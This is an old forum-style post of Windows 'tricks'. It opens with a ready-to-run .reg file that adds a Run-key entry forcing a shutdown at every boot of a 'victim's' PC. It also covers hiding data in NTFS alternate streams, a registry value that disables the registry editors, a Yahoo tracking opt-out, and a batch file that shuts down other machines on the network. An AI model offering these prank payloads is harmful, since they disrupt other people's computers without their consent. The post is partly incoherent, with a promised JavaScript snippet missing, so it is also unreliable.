Shutdown ur friend's comp when everytime it starts

put this followin text in a .reg file and run it in the victims pc:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

"VIRUS"="%windir%\\SYSTEM32\\SHUTDOWN.EXE -t 1 -c \"Howz this new Virus ah\" -f"

DONT PUT IT IN UR COMPUTER, I AM NOT RESPONSIBLE, if it happens, to you, start windows in safe mode, and open registry editor by typiing REGEDIT in start->run. navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]and remove the string value named VIRUS, restart you computer.

You can also put this in a javascript code, just add this code to your webpage:

To hide one file in another
The below trick can be used to hide one file in another. This will work ONLY on a NTFS file system and NOT in FAT.

1) Create a simple text file in notepad in any location from the command prompt:-
notepad originalfile.txt
2) Enter some text into it and save it. Check the file size using dir command.
3) Now create the stealth file using the command below:-
notepad originalfile.txt:hiddenfile.txt
4) Type some text into it which you want nobody to see or read. Save this file. Done!!!
5) Check the size of the file "originalfile.txt". It will be the same as you saw it in step 2. U will never see the file originalfile.txt:hiddenfile.txt or hiddenfile.txt anywhere in ur hard disk. It cannot be searched either. So basically it becomes ur supersecret file. Only u know abt it.

6) Anytime you want to edit this file, use:-
notepad originalfile.txt:hiddenfile.txt
and enter ur secret data into it which nobody can see

Tweaks....

1.Disable Registry Editing Tools (Windows NT):

        

               This setting disables user's ability to run Regedit.exe or Regedt32.exe to modify the registry.

Key: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]

Value Name: DisableRegistryTools

Data Type: REG_DWORD<> Data: (0 = disabled, 1 = enabled)

2.Disable yahoo from tracking you.:

                    As you all know, Yahoo! upgraded its features and the capacities of the mail accounts have grown to 2GB. That's good for sure, but the "monitoring" methods that we all have been far too familiar with in the last couple of years have been renewed with this move also. Yahoo! is now keeping track of which sites its members that are getting into groups or using Yahoo! services are visiting and storing this data with a method called "Web Beacons". The aim is to give these statistics to the partner companies arranged by agreement and to improve the "advertisement guiding" function.

However, those who are bothered by this and do not want to be kept track of have still a choice. Yahoo! has hidden this option way deep inside somewhere but I'm declaring it here in case there are people who want it anyway:

           1. Go to the address

                CODEhttp://privacy.yahoo.com/privacy

                  and click the "Cookies" link under the "Special Topics" column.

            2. Click the "Web Beacons" link under the "Reference Links" Column.

            3. On this page, click the "click here to opt out" link toward the end of the third paragraph                  under the "Outside the Yahoo! Network" title

            4. After a while, a page that says you have been out of the monitoring program will load.                     Without doing anything, close that page or continue your usual surfing by typing                             another address in the address bar. (Do NOT click the "Cancel Opt-out" button, your action will be cancelled!)

Tweaking

ShutDown any Pc on the Network
Shutdown Another Computer (Must Know IP Or Computer name.
but! it will shutdown someone over a network

1. Open Notepad.
2. Type, shutdown -s -m \\ (IP Or Computer Name)
3. Save To Desktop As Shutdown.bat (AGAIN DONT FORGET .BAT!)
4.You wil now have an icon on your desktop call shutdown.bat
5.Double click to execute it and there computer should shutdown